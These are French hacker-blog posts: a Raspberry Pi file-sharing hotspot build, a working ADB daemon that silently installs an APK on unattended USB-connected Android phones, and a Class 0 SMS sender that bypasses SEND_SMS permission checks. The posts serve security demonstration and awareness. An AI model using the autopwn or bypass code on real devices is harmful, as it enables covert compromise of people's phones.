J'ai reçu fin septembre mon exemplaire du Raspberry Pi, après quelques semaines d'attente. J'avais en tête d'en faire une piratebox portable, à l'aide d'une batterie USB et d'une clef Wifi. Mais ce qui semblait simple sur papier est en réalité un peu plus complexe à réaliser, car le Raspberry Pi cache quelques surprises, autant de bonnes que de mauvaises. J'ai d'ailleurs pu la présenter et la tester au meeting HZV de février 2013, et ceux qui ont assisté à ma présentation trouveront dans cet article toute la configuration et un poil plus de détails.
Présentation du Raspberry Pi
Durant le meeting HZV du 3 novembre, j'ai fait une rapide présentation du Raspberry Pi, en insistant notamment sur des caractéristiques particulières qui ne sont pas forcément mentionnées dans la doc constructeur mais que pas mal de personnes ont pu rencontrer durant leurs tests. Parmi les points noirs identifiés: * les ports USB de sortie sont limités à 140mA chaque, ce qui est parfait pour des périphériques passifs mais trop peu pour des disques externes ou même des clefs USB WiFi * certaines distributions ne tiennent pas la route, comme ArchLinux version ARM (dns instable, config OOB très pauvre)
Ceci dit, ce n'est pas pour autant que le RaspPi est inutilisable comme PC embarqué: certains hacks ont été découverts permettant de contourner ces limitations. L'un des problèmes majeurs, l'alimentation trop faible des ports USB, a été pallié grâce à l'emploi d'un hub USB alimenté via une source externe de puissance. En effet, le RaspPi peut être alimenté soit par le port micro USB (dédié à l'alimentation), soit par les connecteurs USB eux-même !
De là, plusieurs astuces d'alimentation peuvent être employées, pour ma part j'ai réalisé un hack un brin plus souple en construisant moi-même un bridge USB qui injecte du courant à l'aide d'une source externe, assurant ainsi l'alimentation du RaspPi et de la clef WiFi que j'utilise. Ainsi, on a assez de pêche pour alimenter les deux sans avoir à employer de hub, et avec une source d'alimentation unique (1 seul connecteur). A noter que durant le meeting de février 2012, une personne m'a fait remarquer d'un dongle 802.11n Edimax nano (ref: EDIMAX EW-7811Un Wireless Nano) consommait quasimment rien et fonctionnait bien tel quel.
Le RaspPi reste néanmoins un très bon investissement, car très flexible au niveau des usages (et d'autant plus lorsqu'on arrive à lui coller un dongle WiFi USB qui supporte le mode AP).
Le projet Ratbox
Un projet que j'avais en tête et qui me motivait pour l'achat d'un Raspberry Pi était la création d'une piratebox sur ce système, le fait de construire de zéro un point d'accès permettant le partage de fichiers via un réseau ouvert. Ce projet a pour nom de code "Ratbox" (oui, un sale jeu de mot: Raspberry Pi Ratbox), et a été entamé dans un premier temps sans la partie wireless, n'ayant pas commandé le matériel. Celui-ci a été ajouté par la suite, et configuré de manière à fournir l'ensemble des fonctionnalités.
Au niveau du matériel nécessaire, il faut quelques éléments particuliers: - une clef WiFi TP-LINK TP-WN727N (testée et approuvée, support mac80211) - un Raspberry Pi - une carte SD haute capacité (16Go par exemple) Class 10 - une batterie USB ou tout autre moyen d'alimentation pouvant fournir 5V/1A - un cable USB en Y (2 prises USB mâles classiques et une mini-usb par exemple) - un support de stockage (disque dur USB ou combo mini-hub et clef USB) - un boitier tout pourri ou stylé, au choix
Avant toute chose, il faut déployer une Raspbian Wheezy sur la carte SD, à l'aide de dd. Une fois cela effectué, montez les partitions et localisez le fichier /etc/network/interfaces de manière à configurer le DHCP sur l'interface ethernet. Cela permettra de se connecter en SSH sur le RaspPi sans avoir à passer par un clavier et un écran, un brin ennuyeux car l'écran doit supporter le HDMI et le clavier être en USB.
Le fichier de configuration /etc/network/interfaces suivant prend ainsi en charge le DHCP sur la connexion ethernet et configure le réseau sans-fil par la même occasion:
auto lo
iface lo inet loopback
iface eth0 inet dhcp
iface wlan0 inet static
address 192.168.0.1
network 192.168.0.0
netmask 255.255.255.0
broadcast 192.168.0.255
gateway 192.168.0.1
La Raspbian déployée, on la configure à l'aide de l'utilitaire:
# sudo raspi-config
Et on redémarre le RaspPi. On identifie l'adresse IP attribuée par la box (ou sur tout LAN) sur laquelle(lequel) on aura pris soin de le connecter pour avoir accès à Internet et profiter du DHCP. On installe ensuite Samba, ProFTPd, Lighttpd, php5 et les modules fastcgi-php et redirect. L'objectif étant de créer un dossier de partage sur la carte SD (bonjour les IO) accessible via du web, FTP et SMB:
# apt-get install proftpd samba lighttpd php5 php5-fpm
On configure d'abord le serveur FTP, via le paramétrage de /etc/proftpd/proftpd.conf:
ServerName "Ratbox" ServerType standalone DeferWelcome off MultilineRFC2228 on DefaultServer on ShowSymlinks on TimeoutNoTransfer 600 TimeoutStalled 600 TimeoutIdle 1200 DisplayLogin welcome.msg DisplayChdir .message true ListOptions "-l" DenyFilter \*.*/ # A basic anonymous configuration, no upload directories. <Anonymous ~ftp> User ftp Group nogroup # We want clients to be able to login with "anonymous" as well as "ftp" UserAlias anonymous ftp # Cosmetic changes, all files belongs to ftp user DirFakeUser on ftp DirFakeGroup on ftp RequireValidShell off # Limit the maximum number of anonymous logins MaxClients 10 # We want 'welcome.msg' displayed at login, and '.message' displayed # in each newly chdired directory. DisplayLogin welcome.msg DisplayChdir .message </Anonymous>
Puis Samba, via le fichier /etc/samba/smb.conf:
[global]
server string = %h server
map to guest = Bad User
obey pam restrictions = Yes
pam password change = Yes
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
unix password sync = Yes
syslog = 0
log file = /var/log/samba/log.%m
max log size = 1000
dns proxy = No
usershare allow guests = Yes
panic action = /usr/share/samba/panic-action %d
idmap config * : backend = tdb
[homes]
comment = Home Directories
valid users = %S
create mask = 0700
directory mask = 0700
browseable = No
[ratbox]
comment = RatBox
path = /srv/ftp/
read only = No
create mask = 0777
directory mask = 0777
guest only = Yes
guest ok = Yes
Et enfin lighttpd:
server.modules = (
"mod_access",
"mod_alias",
"mod_compress",
"mod_redirect",
# "mod_rewrite",
)
server.document-root = "/var/www"
server.upload-dirs = ( "/var/cache/lighttpd/uploads" )
server.errorlog = "/var/log/lighttpd/error.log"
server.pid-file = "/var/run/lighttpd.pid"
server.username = "www-data"
server.groupname = "www-data"
server.port = 80
index-file.names = ( "index.php", "index.html", "index.lighttpd.html" )
url.access-deny = ( "~", ".inc" )
static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
compress.cache-dir = "/var/cache/lighttpd/compress/"
compress.filetype = ( "application/javascript", "text/css", "text/html", "text/plain" )
# disable php in ~/share/files
$HTTP["url"] =~ "^/share/files" *
fastcgi.server= ()
*
# redirect queries to "http://rat.box/"
$HTTP["host"] !~ "^(rat\.box)$" *
url.redirect = ("/(.*)" => "http://rat.box")
*
# default listening port for IPv6 falls back to the IPv4 port
include_shell "/usr/share/lighttpd/use-ipv6.pl " + server.port
include_shell "/usr/share/lighttpd/create-mime.assign.pl"
include_shell "/usr/share/lighttpd/include-conf-enabled.pl"
On installe un peu de PHP histoire de fournir une homepage et un navigateur de fichiers basé sur jQuery (elFinder v2, ici une version modifiée qui embarque le JS et le CSS requis). Libre à vous d'ajouter des paquetages ou des pages. Personnellement, j'ai banni tout serveur de base de données car MySQL par exemple consomme énormément d'après la grande majorité des testeurs de RaspPi.
La configuration du réseau sans-fil ne pose pas de problème majeur, hostapd supportant très bien la carte WiFi USB (chipset realtek). J'ai utilisé le fichier /etc/hostapd/hostapd.conf suivant:
# interface interface=wlan0 driver=nl80211 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=Ratbox hw_mode=g channel=6 beacon_int=100 auth_algs=3 wmm_enabled=1
On termine avec l'installation de dnsmasq, la configuration du DHCP et celle de notre nom de domaine:
local=/rat.box/ dhcp-range=192.168.0.2,192.168.0.250,255.255.255.0,12h address=/#/192.168.0.1
Connexion du support de stockage
Un cable en Y est nécessaire pour assurer d'une part l'alimentation suffisante de l'ensemble et d'autre part la liaison de données. Durant mes premiers tests, j'ai employé un disque dur externe formaté en vfat, qui fonctionnait très bien. Cependant, pour des raisons d'encombrement, je suis retourné sur un stockage de type clef USB de 32Go. Cependant, les deux possibilités requièrent une connectique différente.
Dans le cas du disque dur externe connecté en USB, c'est très simple: il suffit de connecter la fiche mini-usb au disque, la fiche USB de données au RaspPi, et la dernière fiche USB sur la batterie. La batterie alimente ainsi le RaspPi, la clef Wifi via le double connecteur USB du RaspPi, et le disque dur.
Dans le cas de la clef USB, j'ai bricolé un petit connecteur maison permettant d'injecter l'alimentation dans un raccord male/femelle (un prolongateur USB quoi).
L'avantage de supprimer le hub est non-négligeable: on gagne énormément en encombrement. Le résultat final:
<emb135|center>
Le boitier
En ce qui concerne le boîtier, j'ai dans un premier temps récupéré un boîtier PVC d'un vieux projet de techno que j'ai fait en 5ème ou 4ème (c'est dire), que j'ai un peu charcuté pour pouvoir faire passer un fil d'alimentation en douce, et suffisamment grand pour pouvoir accueillir un hub (temporairement) et le RaspPi. Cependant il s'est vite révélé trop petit, et j'ai donc bricolé une boîte de carte Wifi Alfa pour en faire un boitier de fortune:
<emb136|center>
Conclusion
Le meeting de février m'a aussi permis de beta-tester ma première version de Ratbox, et d'ailleurs quelques soucis ont pointé le bout de leur nez: plusieurs personnes téléchargeant des fichiers ont rendu le point d'accès invisible, certainement du aux accès disques USB ou à la consommation CPU. Je vais tweaker encore au max mon raspberry Pi et améliorer le concept au cours des prochains meeting. Sachez toutefois qu'elle sera présente et disponible à tous les futurs meetings HZV !
Par ailleurs, vous trouverez dans les documents joints à cet article le PDF de ma présentation, qui sera aussi disponible en ligne plus ou moins rapidement sur le site d'HZV.
Le Raspberry Pi, mini-ordinateur format carte de crédit à base de processeur ARM et à faible consommation, est décidemment étonnant. J'ai eu la chance d'en recevoir un fin septembre (car oui, plein d'autres geeks attendent encore et toujours, j'admire leur patience) et ça tombe bien puisque j'avais plusieurs idées de projets basées sur ce fameux composant. Bon, par souci de lecture (et aussi par fainéantise), nous l'affublerons du sobriquet "Rasppi" dans la suite de cet article.
Le Raspberry Pi c'est le bien, prenez en !
J'étais tellement fou de joie de l'avoir reçu que j'en ai fait le sujet d'un meeting HZV, afin de faire un retour d'expérience sur l'utilisation de cette bestiole. Après quelques semaines à le bidouiller, j'ai ainsi pu découvrir quelques hacks ingénieux, mais aussi les limites du Rasppi. Car oui, à ce prix là (~35€), on en a pour son argent: le processeur n'est pas une bête de course, la RAM limite (mais suffisante) et surtout des lacunes dans l'alimentation. Ce dernier point ne pose pas de souci majeur, nous allons donc l'oublier (il fera l'objet d'un futur article).
Si vous tenez absolument à en faire un PC de salon, ou pire un média center, c'est votre droit mais ne vous attendez pas à des miracles. Par contre comme PC embarqué dans de petits boitiers, ou alimenté via une batterie USB, c'est le pied ! Je vous conseille ce genre de modèle (de chez Novago), qui tient la route (quelques heures d'autonomie) avec un Rasppi seul:
Si vous souhaitez mettre du Wifi, c'est une autre paire de manches. J'aborderai cet aspect dans un prochain article. Pour le moment, on dispose d'un PC de poche alimenté sur batterie, pour moins de 80€.
J'allais oublier, il lui faut aussi une carte SD haute capacité (HC), pour ma part j'ai opté pour une Sandisk de 16Go Class 10. J'en ai profité pour installer une Raspbian (un portage de Debian Wheezy pour architecture ARM), à partir des dépots officiels.
Le côté obscur du Rasppi
Une des premières idées que j'ai eu quand j'ai entendu parler du Rasppi concerne une attaque physique. Je suis parti du constat que beaucoup de possesseurs de smartphones Android ont rooté leur engin, pour des raisons plus ou moins valables (comme par exemple installer ZeroSMS =). Et qu'un bon nombre de ces possesseurs de smartphone ont activé l'option de débogage via USB. Et qu'ils vont laisser traîner leur smartphone un peu partout. Ou laisser le montage de la carte SD en automatique lors de la connexion d'un cable USB. Je pense que vous voyez où je veux en venir: avec un Rasppi, on peut très facilement avoir juste un cable qui dépasse, et se connecter à un smartphone laissé sans surveillance. Pour en faire un peu tout et n'importe quoi.
La preuve de concept que je vous propose de réaliser est la suivante: transformer un Raspberry Pi en outil de compromission automatique de smartphone sous Android. Je ne vais pas vous donner d'outil tout fait, cela n'est pas la politique de la maison, mais plutôt vous démontrer qu'avec très peu de moyens ce type d'attaque est tout à fait envisageable. Commençons par bidouiller notre Rasppi.
Une fois le Rasppi configuré, on peut s'y connecter en SSH pour faire un brin d'administration. On va commencer par installer git:
# apt-get install git
Et on enchaîne en téléchargeant le code source d'ADB (Android Debug Bridge), un outil du SDK d'Android permettant de communiquer avec un périphérique via une connexion USB et de faire à peu près tout ce que l'on veut. Comme par exemple accéder au contenu de la carte SD, installer/désinstaller des applications, voire même modifier des paramètres système si le smartphone est rooté. On doit le compiler car le SDK de base d'Android ne contient qu'une version x86, et pas ARM:
# apt-get install build-essential libncurses5-dev $ git clone git://codeaurora.org/platform/system/core.git system/core $ git clone git://codeaurora.org/platform/build.git build $ git clone git://codeaurora.org/platform/external/zlib.git external/zlib $ git clone git://codeaurora.org/platform/bionic.git bionic
On récupère ensuite un Makefile que l'on copie dans le dossier system/core/adb:
$ wget https://gist.github.com/gists/958335/download -O system/core/adb/Makefile.tgz $ cd system/core/adb $ tar xvzf Makefile.gz $ mv gist958335-3311049e9dc7b506f37b752c4f046997086e13fc/Makefile Makefile $ rm -rf gist958335-3311049e9dc7b506f37b752c4f046997086e13fc
On modifie la ligne qui définit TOOLCHAIN de manière à ce qu'elle ne soit pas paramétrée:
... # ancienne ligne # TOOLCHAIN= arm-none-linux-gnueabi- TOOLCHAIN= ...
Et on compile:
$ make $ cp adb /usr/local/bin/
Si vous avez tout suivi, vous devez vous retrouver avec une version d'ADB. Je me suis inspiré de cette page, je vous invite à vous y reporter si je n'ai pas été très clair.
Il ne reste plus qu'à coder un daemon en python qui surveille les connexions et déconnexions de périphériques USB, et qui lance une ou plusieurs commandes avec ADB lors de la connexion. Voici un exemple de code qui fait l'affaire:
import re
import sys
import subprocess
from time import sleep
from daemon import Daemon
device_re = re.compile("Bus\s+(?P<bus>\d+)\s+Device\s+(?P<device>\d+).+ID\s(?P<id>\w+:\w+)\s(?P<tag>.+)$", re.I)
class AndroPwnDaemon(Daemon):
def get_devices(self):
df = subprocess.check_output("lsusb", shell=True)
devices = []
for i in df.split('\n'):
if i:
info = device_re.match(i)
if info:
dinfo = info.groupdict()
devices.append(dinfo['id'])
return devices
def run(self):
print 'AndroPwn - Android Autopwn via Raspberry Pi ]'
print '>> author: Damien "virtualabs" Cauquil <virtualabs@gmail.com>'
print ''
devices = self.get_devices()
while True:
devices_ = self.get_devices()
for device in devices_:
if device not in devices:
print '[+] New device connected, infecting ...'
# True evil code here (this one only gets uname :)
p = subprocess.Popen(['/usr/local/bin/adb','-d','push','/home/pi/andropwn/0wn3d.txt','/sdcard/'], stdout=subprocess.PIPE)
output = p.communicate()[0]
p = subprocess.Popen(['/usr/local/bin/adb','-d','install','/home/pi/andropwn/evil.apk'], stdout=subprocess.PIPE)
output = p.communicate()[0]
print output
devices = [i for i in devices_]
sleep(1)
if __name__ == '__main__':
daemon = AndroPwnDaemon('/tmp/andropwn.pid',stdout='/tmp/andropwn.log')
if len(sys.argv) == 2:
if 'start' == sys.argv[1]:
daemon.start()
elif 'stop' == sys.argv[1]:
daemon.stop()
elif 'restart' == sys.argv[1]:
daemon.restart()
else:
sys.exit(2)
sys.exit(0)
else:
print 'usage: %s start|stop|restart' % sys.argv[0]
sys.exit(2)
Cette version ne fait que dropper un fichier texte sur la carte SD (si celle-ci est accessible) et installe de force un APK nommé evil.apk. Libre à vous de faire un script permettant de le lancer automatiquement au démarrage, personnellement c'est ce que j'ai fait pour ma démo. Le fichier evil.apk n'est rien d'autre que l'application PodcastAddict qui s'installe automatiquement à l'insu du propriétaire du smartphone ciblé. Ci-dessous une démonstration de l'attaque (soyez indulgent, ça doit être ma première vidéo sur youtube, et mon matériel de montage ne supporte pas le format du caméscope. Sans parler du wallpaper de mon smartphone, enfin je pense que vous pouvez comprendre =).
<center><object width="560" height="315"><param name="movie" value="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="wmode" value="opaque"><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US" type="application/x-shockwave-flash" width="560" height="315" allowscriptaccess="always" allowfullscreen="true" wmode="opaque"></embed></object></center>
Quel est l'intérêt de passer par ADB me direz-vous ? Il est double. D'une part on a accès à presque tout (enfin ça dépend des versions d'Android, notamment les ROMs fournies par les opérateurs), et d'autre part cela fonctionne même lorsque le smartphone est en veille ou verrouillé ! On peut bien sûr faire plein d'autres choses, comme par exemple aspirer tous les fichiers présents sur la carte SD, lancer des applications à la place de l'utilisateur, rooter le smartphone, bref il n'y a vraiment pas de limite.
Conclusion
Deux points importants dans ma conclusion. Le premier concerne le fait de rooter un smartphone: ne le faites pas sans savoir à quoi vous vous exposez, ni aux risques que vous prenez. Le second point concerne la sécurité physique des smartphones: même verrouillés, évitez de les laisser traîner ! Gardez votre smartphone sous bonne surveillance, et prenez soin de désactiver les fonctionnalités inutiles.
Les smartphones ne sont rien de moins que des ordinateurs de poche, qui font accessoirement office de téléphone. Il faut avoir la même hygiène (si ce n'est pire) que celle adoptée avec les ordinateurs portables.
Depuis ma dernière présentation publique concernant Android (c'est-à-dire depuis la Nuit du Hack 2011, pfiou), beaucoup de personnes m'ont demandé s'il était possible d'envoyer des SMS de classe 0 sur les dernières versions de cet OS. Personnes auxquelles j'avais répondu à l'époque que la démonstration avait été réalisée sur la version 2.1, et que l'astuce ne fonctionnait plus sur les versions récentes. Néanmoins, l'idée de chercher un moyen de le faire sur les version supérieures à 2.1 me trottait en tête depuis ce temps, mais j'avoue ne pas avoir pris le temps de m'y intéresser. Jusqu'à très récemment.
SMS de classe 0: rappels
Lors de ma précédente présentation, j'avais démontré la facilité avec laquelle on pouvait créer des SMS à partir du PDU (Protocol Description Unit) et comment on pouvait se servir de cette fonctionnalité pour transformer un SMS classique en SMS de classe 0. Pour rappel, un SMS de classe 0 est un message particulier qui est destiné à s'afficher "de force" par le téléphone qui le reçoit, généralement utilisé par les opérateurs pour envoyer des notifications critiques aux utilisateurs de leur réseau ou tout simplement pour communiquer directement avec la SIM (via des systèmes peu documentés).
Ainsi, pour envoyer un SMS à partir du PDU correspondant, il fallait modifier la visibilité d'une méthode du SmsManager (sendRawPdu) afin de pouvoir l'appeler, sous réserve de posséder les bonnes permissions. Il s'agissait en fait d'une fonctionnalité offerte par le SDK Android, qui n'était pas directement exposée mais qui était toutefois présente. Cela était valable jusqu'à la version 2.1 du système. A partir de la version 2.2, le SDK a radicalement changé (du moins en ce qui concerne l'envoi de SMS), et cette méthode a disparu: impossible d'envoyer des SMS "craftés" à partir de PDUs ! Damned. Rien sur Internet expliquant comment le faire, et le code est un brin indigeste.
Services systèmes d'Android
Un jour, j'ai pris mon courage à deux mains et décidé de plonger dans le code du SDK [2], qui de fait est opensource et librement consultable, afin de trouver un moyen d'envoyer (de nouveau) ce type de message. Et par extension d'être capable de faire joujou avec les PDUs, comme au bon vieux temps. Et là, le drame: plus aucune référence de "PDU" dans les éléments offerts par le SDK. Le vide. Vraiment rien ? Eh bien après quelques recherches plus poussées, j'ai pu identifier une classe offrant une méthode nommée sendRawPdu, mais appartenant au package com.android.internal.telephony. En cherchant à savoir où elle était appelée, je suis remonté jusqu'à la classe com.android.internal.telephony.IccSmsInterfaceManager, qui propose des méthodes permettant l'envoi de messages (mais pas de PDU) et qui hérite de ISms.Stub. Attendez, "ISms", serait-ce une interface ? Jetons-y un œil.
Il s'agit effectivement d'une interface munie d'un Stub qui sert principalement de wrapper de service, tel que précisé dans la documentation:
<quote>Interface for applications to access the ICC phone book. The following code snippet demonstrates a static method to retrieve the ISms interface from Android:
private static ISms getSmsInterface()
throws DeadObjectException *
IServiceManager sm = ServiceManagerNative.getDefault();
ISms ss;
ss = ISms.Stub.asInterface(sm.getService("isms"));
return ss;
*
</quote>
Il y est fait mention d'un ServiceManagerNative, qui gère des services. En réalité, c'est un service natif qui gère l'envoi des SMS, appelé au travers d'une couche bien définie de classes permettant de vérifier les permissions et de structurer le message à envoyer. Il existe d'ailleurs d'autres services que ce "isms": "phone","content", etc ... L'utilisation de services permet de cloisonner les fonctionnalités mais surtout de limiter les fonctions exportées: l'interface restreint leur usage et complique l'implémentation d'autres fonctionnalités.
Là où ça devient intéressant, c'est que la classe SMSDispatcher est instanciée par la classe `IccSmsInterfaceManager <http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/2.3.7_r1/com/android/internal/telephony/IccSmsInterfaceManager.java?av=f>`_, et il semble donc possible de pouvoir récupérer une instance de cette classe. J'ai de suite pensé l'instancier via l'application, mais un problème est survenu: le contexte d'instanciation n'est pas bon. Seule une instance de la classe com.android.internal.telephony.Phone peut retourner l'instance unique et utilisable d'IccSmsInterfaceManager, via la méthode getIccSmsInterfaceManager. Et c'est là que ça se complique.
Récupération de l'instance système Phone
Le problème reste entier: sans une instance de la classe Phone, impossible d'atteindre une instance de SMSDispatcher, on peut donc oublier l'envoi de SMS via PDU. Cependant, une classe offre la possibilité de récupérer l'instance Phone courante: PhoneFactory. Cette classe est encore une fois interne et n'est pas exposée via le SDK "standard" offert par Google. Elle offre une méthode getDefaultPhone() qui retourne une instance de Phone, avec toutefois un bémol: un appel à cette méthode ne réussit que si le code appelant est exécuté au sein du processus com.android.phone, le processus dédié (et unique) à la gestion de la téléphonie sur le smartphone. Et un souci de plus.
Pour pouvoir exécuter du code dans le contexte du processus com.android.phone, il faut que l'application respecte les contraintes suivantes: * elle doit être signée avec le même certificat que l'application créant le processus com.android.phone * le manifest doit spécifier le processus dans lequel une application, activité ou service va s'exécuter
Par conséquence, notre application doit être une application système (com.android.phone étant mis en place par le système, et signée avec le certificat système) et doit forcer son code à être exécuté dans le contexte de com.android.phone. Heuu, ça s'annonce difficile.
Plusieurs questions se posent: * Comment créer une application système ? * Comment exécuter une activité dans le contexte du processus com.android.phone ?
Une fois ces questions résolues, l'appel de sendRawPdu sera un jeu d'enfant.
Création d'une application système
Nous allons devoir créer une application système, cela implique plusieurs choses: * être capable d'utiliser tous les éléments du SDK Android, et notamment les classes internes (com.android.internal.*) * être capable de signer l'application de manière à ce qu'elle soit reconnue comme application système * être capable de l'installer sur un smartphone
L'élément le plus bloquant pour la création d'application système reste la phase de signature de l'APK: celui-ci doit être signé avec le même certificat que les autres applications systèmes. Sur une version Android standard, c'est quasi impossible à moins d'avoir la clef privée. Par contre sur des mods d'Android comme CyanogenMod, la clef privée du certificat est publique et peut être utilisée pour signer une application et l'installer comme application système sur une rom CyanogenMod.
Le développement avec Eclipse est plus sport, la version du framework Android (android.jar) fournie dans le SDK ne contient pas les APIs internes. A moins d'utiliser la réflexion Java à gogo, s'interfacer avec les APIs internes est impossible en l'état. C'est ce que je pensais jusqu'à ce que je tombe sur ce tutorial très bien fait, expliquant comment intégrer dans le fichier android.jar les classes internes récupérées grâce à jd-gui, et comment patcher le plugin ADT afin d'autoriser l'utilisation des APIs internes. Il est assez bien fait, mais je vais vous donner une méthode plus rapide pour arriver au même résultat.
Premièrement, il vous faudra télécharger les différentes versions du SDK Android qui incluent les classes internes, qui sont disponibles sur github. Ensuite, pour chaque dossier dans le SDK, copier le contenu dans un dossier avec pour nom android-X-internals, et insérer dans chacun d'entre eux les fichiers issus de github:
# cd <SDK>/platforms # cp -rf ./android-7 ./android-7-internals # cp -rf ./android-8 ./android-8-internals # cp -rf ./android-9 ./android-9-internals # cp -rf ./android-10 ./android-10-internals # wget "https://github.com/inazaruk/android-sdk/tarball/master" -O /tmp/platforms.tgz # tar xvzf /tmp/platforms.tgz
Il ne reste plus qu'à patcher le plugin ADT, tel qu'indiqué sur cette page. Une fois cela fait, relancer Eclipse et vous devriez voir apparaître de nouvelles versions du SDK d'android, avec un numéro de SDK négatif ...
... ainsi que la restriction sur les APIs internes, qui doit être patchée (com/andoird/internax/* à la place de com/android/internal/*):
Une fois notre application développée, nous allons pouvoir la signer et l'installer sur notre smartphone (utilisant CyanogenMod si vous avez suivi):
# signapk.sh MonApp.apk /tmp/MonApp-signed.apk # adb shell mount -o rw,remount /system # adb push /tmp/MonApp-signed.apk /system/app
J'utilise signapk.sh, un script basé sur signapk.jar et les certificats de CyanogenMod (Gingerbread, CM 7.2). Ce script effectue basiquement la commande suivante:
java -jar signapk.jar platform.x509.pem platform.pk8 Application.apk Application-signed.apk
Après cette dernière étape, notre application système sera installée et reconnue par Android en tant que tel. Bon, reste à développer une application d'envoi de SMS classe 0 maintenant que l'on possède un IDE et un SDK améliorés.
Utilisation de la réflexion pour l'envoi de SMS via PDU
Faisons le point. On a un éditeur Eclipse avec ADT patché et au moins un SDK qui intègre les classes com.android.internal.*. On sait aussi déployer une application système. Au boulot.
Pour commencer, on récupère l'instance de Phone (supposons que cela soit exécuté dans le bon processus, ce point sera abordé par la suite):
Phone phone = PhoneFactory.getDefaultPhone();
Puis on récupère une instance de IccSmsInterfaceManager:
f = IccSmsInterfaceManager.class.getDeclaredField("mDispatcher");
f.setAccessible(true);
SMSDispatcher sms_disp = (SMSDispatcher)f.get(ismsm);
Et on utilise un brin de réflexion Java pour appeler la bonne méthode, en transformant au passage un message SMS classique en SMS de classe 0 (via la manipulation des PDUs)
byte[] b = new byte[0];
SmsMessage.SubmitPdu pdus = SmsMessage.getSubmitPdu(
null, phoneNumber, message,false
);
/* change class to Class 0 */
size = (int)pdus.encodedMessage[2];
size = (size/2) + (size%2);
pdus.encodedMessage[size+5] = (byte)0xF0;
/* send raw pdu */
Method m = SMSDispatcher.class.getDeclaredMethod("sendRawPdu", b.getClass(), b.getClass(), PendingIntent.class, PendingIntent.class);
m.setAccessible(true);
m.invoke(sms_disp, pdus.encodedScAddress, pdus.encodedMessage, null, null);
Et voilà, rien de bien compliqué niveau code. Une fois le tout assemblé avec la gestion des exceptions:
/* Sends class 0 SMS */
private boolean sendSMS(String phoneNumber, String message)
*
int size;
Field f;
SMSDispatcher sms_disp;
Phone phone = PhoneFactory.getDefaultPhone();
/* Get IccSmsInterfaceManager */
IccSmsInterfaceManager ismsm = phone.getIccSmsInterfaceManager();
try {
f = IccSmsInterfaceManager.class.getDeclaredField("mDispatcher");
f.setAccessible(true);
sms_disp = (SMSDispatcher)f.get(ismsm);
if (sms_disp != null)
{
byte[] b = new byte[0];
SmsMessage.SubmitPdu pdus =
SmsMessage.getSubmitPdu(
null, phoneNumber, message,false
);
/* change class to Class 0 */
size = (int)pdus.encodedMessage[2];
size = (size/2) + (size%2);
pdus.encodedMessage[size+5] = (byte)0xF0;
/* send raw pdu */
Method m = SMSDispatcher.class.getDeclaredMethod("sendRawPdu", b.getClass(), b.getClass(), PendingIntent.class, PendingIntent.class);
m.setAccessible(true);
m.invoke(sms_disp, pdus.encodedScAddress, pdus.encodedMessage, null, null);
return true;
*
else
return false;
} catch (SecurityException e) *
return false;
* catch (NoSuchFieldException e) *
return false;
* catch (IllegalArgumentException e) *
return false;
* catch (IllegalAccessException e) *
return false;
* catch (NoSuchMethodException e) *
return false;
* catch (InvocationTargetException e) *
return false;
*
}
Exécution dans le contexte de com.android.phone
Le cœur du système d'envoi est développé, il ne reste plus qu'à préciser le manifeste de manière à ce que l'application soit lancée dans le contexte du processus com.android.phone. J'ai fait beaucoup de tests, et la seule configuration qui semble passer est la suivante, basée sur un identifiant d'utilisateur partagé android.uid.system et sur la définition du processus dans lequel l'activité ZeroSMS doit s'exécuter:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.zerosms"
android:versionCode="1"
android:versionName="1.0"
android:sharedUserId="android.uid.system">
<uses-permission android:name="android.permission.SEND_SMS"/>
<application android:icon="@drawable/icon" android:label="@string/app_name">
<activity android:name=".ZeroSMS"
android:label="@string/app_name"
android:process="com.android.phone">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Il ne reste plus qu'à compiler et produire un APK non-signé, qui sera ensuite signé avec signapk, et installé avec adb, comme mentionné précédemment. Une fois installée, l'application permet l'envoi de SMS classe 0. J'ai publié le code de l'application ainsi qu'une version compilée et signée sur Github [1]. Je ne vous fait pas de démo, mais je vous laisse essayer l'APK final (ZeroSms-signed.apk, situé dans le dossier apks). L'application ressemble à ceci:
<center><img131><img132></center>
Quid des permissions ?
Durant mes tests (qui m'ont pris plusieurs jours) j'ai eu des difficultés à arriver à la solution décrite dans cet article, et j'ai pu notamment remarquer que le fait de passer par l'envoi de PDU contourne les restrictions (via les permissions) sur l'envoi de SMS. J'ai eu énormément d'erreurs de type "User 1001 has no permission android.permission.SEND_SMS", ce qui m'a bloqué pendant quelque temps, jusqu'à ce que je trouve cette parade (passer par la classe SMSDispatcher). Cela contourne notamment les vérifications faites par la classe IccSmsInterfaceManager sur la permission android.permission.SEND_SMS. Ceci dit, vu que l'application est une application système, cela ne remet pas en cause la sécurité d'Android (l'application étant installée de force via adb), mais offre un moyen de contourner les vérifications effectuées sur certaines permissions.
Conclusion
Je dois avouer que les manipulations à effectuer sur la version 2.1 et celles présentées ici sont franchement différentes et bien plus complexes sur les SDK récents. Cependant, une fois le SDK Android amélioré et le plugin ADT d'Eclipse patché, le développement est très intuitif et permet de jouer pleinement avec les composants système: téléphone, sms, etc ... Je suis sûr que ça peut ouvrir des voies vers d'autres utilisations !
Notez toutefois que l'application peut être signée pour les différents mods Android populaires, bien que dans mon exemple je l'ai fait pour CyanogenMod 7.2. Cette astuce doit fonctionner sur les versions récentes d'Android, toutefois ne disposant pas d'un téléphone sous ICS je n'en ai pas la certitude, si quelqu'un peut confirmer ça serait super.
MAJ - 12/10/2012
Versions compatibles (suites aux retours de lecteurs): * CyanogenMod version 7.2 * CyanogenMod version 9 * CyanogenMod version 10
References
`1] [ZeroSMS sur Github <https://github.com/virtualabs/ZeroSMS>`_
`2] [Code source Android 2.3.7 (Grepcode) <http://grepcode.com/snapshot/repository.grepcode.com/java/ext/com.google.android/android/2.3.7_r1/>`_